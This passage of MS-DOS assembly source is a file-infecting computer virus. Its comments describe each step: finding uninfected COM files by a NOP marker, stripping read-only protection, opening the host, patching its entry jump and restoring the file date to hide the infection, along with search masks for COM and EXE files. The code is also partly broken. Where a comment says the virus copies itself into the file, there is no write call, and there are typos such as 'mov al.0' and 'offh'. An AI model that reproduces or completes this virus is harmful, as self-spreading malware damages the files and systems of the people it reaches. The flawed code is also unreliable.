; This routine will search the three NOP's(no
; operation).If present there is already an infection.
; We must then continue the search
;****************************************************
mov bx,cs:[buffer]
cmp bx,9090h
jz find_next_file
;***************************************************
; This routine will BY PASS MS-DOS WRITE PROTECTION
; if present. Very important !
;***************************************************
mov ah,43h ;write enable
mov al,0
mov dx,9eh ;address of name in dta
int 21h
mov ah,43h
mov al,01h
and cx,11111110b
int 21h
;****************************************************
; Open file for read/write access.
;*****************************************************
mov ah,3dh ;open channel
mov al,02h ;read/write
mov dx,9eh ;address of name in dta
int 21h
;****************************************************
; Read date entry of program and save for future
; use.
;****************************************************
mov bx,ax ;channel
mov ah,57h ;get date
mov al.0
int 21h
push cx ;save date
push dx
;****************************************************
; The jump located at address 0100h of the program
; will be saved for further use.
;*****************************************************
mov dx,cs:[conta] ;save old jmp
mov cs:[jmpbuf],dx
mov dx,cs:[buffer+1] ;save new jump
lea cx,cont-100h
sub dx,cx
mov cs:[conta],dx
;*****************************************************
; The virus copies itself to the start of the file.
;*****************************************************
mov ah,57h ;write date
mov al,1
pop dx
pop cx ;restore date
int 21h
;*****************************************************
; Close the file.
;*****************************************************
mov ah,3eh ;close file
int 21h
;*****************************************************
; Restore the old jump address. The virus saves at
; address "conta" the jump which was at the start of
; the host program.
; This is done to preserve the executability of the
; host program as much as possible.
; After saving it still works with the jump address
; contained in the virus. The jump address in the
; virus differs from the jump address in memory.
;****************************************************
;****************************************************
; Continue with the host program.
;****************************************************
cont db 0e9h ;make jump
conta dw 0
mov ah,00
int 21h
;***************************************************
; Reactivate the selected drive at the start of
; the program.
;***************************************************
use_old:
mov ah,0eh ;use old drive
mov dl,cs:drive
int 21h
;***************************************************
; Reactivate the selected path at the start of
; the program.
;***************************************************
mov ah,3bh ;use old drive
lea dx,old_path-1 ;get old path and backslash
int 21h
ret
search_order db 0ffh,1,0,2,3,0ffh,00,offh
pointer dw 0000 ;pointer f. search order
counter dw 0000 ;counter f. nth. search
disks db 0 ;number of disks
maske_com db "*.com",00 ;search for com files
maske_dir db "*",00 ;search for dir's
maske_exe db offh,0,0,0,0,0,00111111b
db 0,"????????exe",0,0,0,0
db 0,"????????com",0
maske_all db offh,0,0,0,0,0,00111111b
db 0,"???????????",0,0,0,0
db 0,"????????com",0
buffer equ 0e00h ;a safe place
buflen equ 230h ;lenght of virus!!!!
;carefull
;if changing!!!!
jmpbuf equ buffer+buflen ;a safe place for jmp
path db "\",0 ;first place
drive db 0 ;actual drive
back_slash db "\"
old_path db 32 dup (?) ;old path